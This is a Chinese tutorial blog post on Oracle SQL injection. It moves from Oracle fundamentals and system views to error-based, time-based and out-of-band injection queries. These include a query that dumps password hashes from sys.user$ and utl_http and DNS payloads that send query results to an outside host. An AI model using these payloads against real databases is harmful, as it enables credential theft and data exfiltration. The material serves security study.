【25】WEB安全学习----Oracle注入-1

一、Oracle基本知识

组成部分

Oracle数据库系统由数据库文件(保存在磁盘上的文件)数据库实例(管理数据库文件的一组进程和内存结构)。

应用程序连接到数据库时,实际上是连接到一个Oracle实例,由Oracle实例中的进程和内存来为应用程序提供服务。

注意:在SQL server或MySQL中,当连接到数据库中可以同时管理多个数据库,这是因为实例就是数据库服务器引擎,,因此一个实例可以创建多个数据库。而Oracle中,实例由一系列的进程和服务组成,与数据库可以是一对一的关系,也就是一个实例可以管理一个数据库;也可以是一对多的关系,多个实例可以管理一个数据库,其中多个实例组成一个数据库的架构叫做集群。

因此。一个实例不能管理多个数据库,这是Oracle与其他数据库的一个明显区别。

数据字典

数据字典是Oracle数据库的重要组成部分,它由一系列拥有的数据库元数据(metadata)信息的数据字典表和用户可以读取的数据字典视图组成,存放Oracle数据所用的有关信息,主要包括:系统的空间信息、数据库中所有模式对象的信息(表、视图、索引等)、Oracle用户的名字、用户访问或使用的审计信息、用户的权限信息、列的约束信息和缺省值等。

数据字典可以看作是一组表和视图结构,它们存放在SYSTEM表空间中。

表空间

表空间是Oracle数据库中最大的逻辑结构,可以将表空间看作是数据库对象的容器。由一个或多个数据文件的集合,所有的数据对象都被逻辑地放在指定的表空间中。一个数据库通常包括SYSTEM、SYSAUX和TEMP三个默认表空间,一个或多个临时表空间。

注释

Oracle的注释有单行注释 -- 和多行注释 /**/。不像MySQL还支持#。

dual虚拟表

Oracle规定,每次查询时后面必须跟表名称,而dual是oracle的一个虚拟表,这张表只有单行单列一条记录,可以利用这个虚拟表设置或调用一些内置函数等。

Oracle是强类型的数据库 ,所以在UNION联合查询时候,用NULL兼容数据类型,而不能使用1,2,3数字代替。

rownum

oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数,rownum并不是用户添加的字段,而是oracle系统自动添加的。 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数,而且rownum不能以任何表的名称作为前缀。

获取表中第一行记录:

如果想找到从第二行记录以后的记录,当使用rownum>2或rownum=2是查不出记录的,原因是由于rownum是一个总是从1开始的伪列,Oracle 认为rownum> n(n>1的自然数)这种条件依旧不成立,所以查不到记录。

那如何才能找到第二行及以后的记录呀。可以使用以下的子查询方法来解决。注意子查询中的rownum必须要有别名,否则还是不会查出记录来,这是因为rownum不是某个表的列,如果不起别名的话,无法知道rownum是子查询的列还是主查询的列。

||

在MySQL中,||表示or的逻辑运算,但在Oracle中,这是字符串连接符。

'a'||'b'='ab'

常用函数

Oracle中函数和MySQL数据库中类似,常用的有:

字符串函数:ASCII(str)、CHR(i)、CONCAT(s1,s2)、LENGTH(s1)、SUBSTR(s1,i,[j])

数学函数:ABS(n)、POWER(n1,n2)、SIN()等等

日期函数:SYSDATE()

转换类函数:TO_CHAR(s1):将s1转换为字符串

流程控制

在MySQL中,流程控制有IF和IFNULL,而PL/SQL(Oracle)中,有多个流程控制符:

系统表

Oracle中内置了大量的系统表(有点类似MySQL中的information_schema数据库),根据不同的权限可读取不同的系统表。可通过读取这些系统表获取我们想要的数据(用户信息、表、字段、数据库信息等)。

DBA、ALL、USER、V_$、GV_$、SESSION、INDEX开头的绝大部分都是视图。

DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。

ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。

USER_TABLES意为某一用户所拥有的所有的关系表。

当某一用户本身就为数据库DBA时,DBA_TABLES与ALL_TABLES等价。

DBA_TABLES >= ALL_TABLES >= USER_TABLES

需要注意的是在ORACLE数据库中大小写是敏感的,而此三表中数据默认都是大写的,所以在进行查询的时候注意小写的数据可能会造成数据无法查到。

dba_开头
dba_users 数据库用户信息 
dba_segments 表段信息 
dba_extents 数据区信息 
dba_objects 数据库对象信息 
dba_tablespaces 数据库表空间信息 
dba_data_files 数据文件设置信息 
dba_temp_files 临时数据文件信息 
dba_rollback_segs 回滚段信息 
dba_ts_quotas 用户表空间配额信息 
dba_free_space数据库空闲空间信息 
dba_profiles 数据库用户资源限制信息 
dba_sys_privs 用户的系统权限信息 
dba_tab_privs用户具有的对象权限信息 
dba_col_privs用户具有的列对象权限信息 
dba_role_privs用户具有的角色信息 
dba_audit_trail审计跟踪记录信息 
dba_stmt_audit_opts审计设置信息 
dba_audit_object 对象审计结果信息 
dba_audit_session会话审计结果信息 
dba_indexes用户模式的索引信息 

user_开头 
user_objects 用户对象信息 
user_source 数据库用户的所有资源对象信息 
user_segments 用户的表段信息 
user_tables 用户的表对象信息 
user_tab_columns 用户的表列信息 
user_constraints 用户的对象约束信息 
user_sys_privs 当前用户的系统权限信息 
user_tab_privs 当前用户的对象权限信息 
user_col_privs 当前用户的表列权限信息 
user_role_privs 当前用户的角色权限信息 
user_indexes 用户的索引信息 
user_ind_columns用户的索引对应的表列信息 
user_cons_columns 用户的约束对应的表列信息 
user_clusters 用户的所有簇信息 
user_clu_columns 用户的簇所包含的内容信息 
user_cluster_hash_expressions 散列簇的信息 

v$开头 
v$database 数据库信息 
v$datafile 数据文件信息 
v$controlfile控制文件信息 
v$logfile 重做日志信息 
v$instance 数据库实例信息 
v$log 日志组信息 
v$loghist 日志历史信息 
v$sga 数据库SGA信息 
v$parameter 初始化参数信息 
v$process 数据库服务器进程信息 
v$bgprocess 数据库后台进程信息 
v$controlfile_record_section 控制文件记载的各部分信息 
v$thread 线程信息 
v$datafile_header 数据文件头所记载的信息 
v$archived_log归档日志信息 
v$archive_dest 归档日志的设置信息 
v$logmnr_contents 归档日志分析的DML DDL结果信息 
v$logmnr_dictionary 日志分析的字典文件信息 
v$logmnr_logs 日志分析的日志列表信息 
v$tablespace 表空间信息 
v$tempfile 临时文件信息 
v$filestat 数据文件的I/O统计信息 
v$undostat Undo数据信息 
v$rollname 在线回滚段信息 
v$session 会话信息 
v$transaction 事务信息 
v$rollstat 回滚段统计信息 
v$pwfile_users 特权用户信息 
v$sqlarea 当前查询过的sql语句访问过的资源及相关的信息 
v$sql 与v$sqlarea基本相同的相关信息 
v$sysstat 数据库系统状态信息 

all_开头 
all_users 数据库所有用户的信息 
all_objects 数据库所有的对象的信息 
all_def_audit_opts 所有默认的审计设置信息 
all_tables 所有的表对象信息 
all_indexes所有的数据库对象索引的信息 

session_开头 
session_roles 会话的角色信息 
session_privs 会话的权限信息 

index_开头 
index_stats 索引的设置和存储信息 

常用系统表查询

数据库信息

select NAME,PLATFORM_NAME from v$database
select HOST_NAME,VERSION from v$instance
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

表信息

select TABLE_NAME,TABLESPACE_NAME from user_tables

字段信息

select TABLE_NAME,COLUMN_NAME from user_tab_columns WHERE TABLE_NAME LIKE 'TEST';

当前用户

SELECT user FROM dual

列密码哈希

SELECT name,spare4 FROM sys.user$

时间盲注

获取主机名

SELECT UTL_INADDR.get_host_name('192.168.1.1') FROM dual;

查询大量的数据

对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。其他数据库也适用。

select count(*) from all_objects

当然,还有其他的骚操作。

报错注入

utl_inaddr.get_host_address()

根据主机名获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。

select utl_inaddr.get_host_address((select TABLE_NAME from user_tables WHERE rownum=1)) from dual

utl_inaddr.get_host_name()

select utl_inaddr.get_host_name((select TABLE_NAME from user_tables WHERE rownum=1)) from dual

ctxsys.drithsx.sn()

select ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables WHERE rownum=1)) from dual

ordsys.ord_dicom.getmappingxpath()

select ordsys.ord_dicom.getmappingxpath((select user from dual),user,user) from dual;

dbms_utility.sqlid_to_sqlhash()

select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;

还有几个其他的报错函数,就不一一介绍了。

带外通信

Oracle可以发送HTTP请求和DNS请求,可以将查询的结果附带到请求中,然后通过查看WEB日志和DNS记录读取查询结果,这种方式针对盲注注入能有效的提高效率。

HTTP请求

utl_http.request(),发送HTTP请求:

select utl_http.request('http://192.168.0.102/'||(SELECT user FROM dual)) from dual;

DNS请求

utl_inaddr.get_host_address(),查询NDS请求

select utl_inaddr.get_host_address((select user from dual)||'.xxx.com') from dual

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值